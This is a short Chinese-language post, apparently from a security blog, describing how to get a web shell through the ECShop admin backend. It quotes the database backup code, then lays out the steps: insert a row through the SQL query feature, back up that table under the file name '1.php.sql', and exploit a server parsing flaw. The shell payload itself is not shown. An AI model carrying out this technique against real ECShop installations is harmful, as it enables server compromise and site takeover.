Ecshop后台getshell

admin/database.php [php] if ($_REQUEST['act'] == 'dumpsql') {省略若干 if (empty($_REQUEST['sql_file_name'])) { $sql_file_name = $dump->get_random_name(); } else {省略若干 $sql_file_name = str_replace("0xa", '', trim($_REQUEST['sql_file_name'])); // 过滤 0xa 非法字符 $pos = strpos($sql_file_name, '.sql'); if ($pos !== false) { $sql_file_name = substr($sql_file_name, 0, $pos); } }省略若干 if (!@file_put_contents(ROOT_PATH . DATA_DIR . '/sqldata/' . $sql_file_name . '.sql', $dump->dump_sql)) { sys_msg(sprintf($_LANG['fail_write_file'], $sql_file_name . '_' . $vol . '.sql'), 1, array(array('text'=>$_LANG['02_db_manage'], 'href'=>'database.php?act=backup')), false); }; [/php] 备份数据库可以直接写出shell 我们可以insert一个shell 然后备份制定的表 利用数据查询 执行 [php] insert into ecs_wholesale values(2,1,'',1,1,1) [/php] ecshop1 然后在进行备份ecs_wholesale 这个表 然后我们备份文件名设置成1.php.sql 利用解析漏洞 ecshop3 就可以获得一个shell了 ecshop

发表评论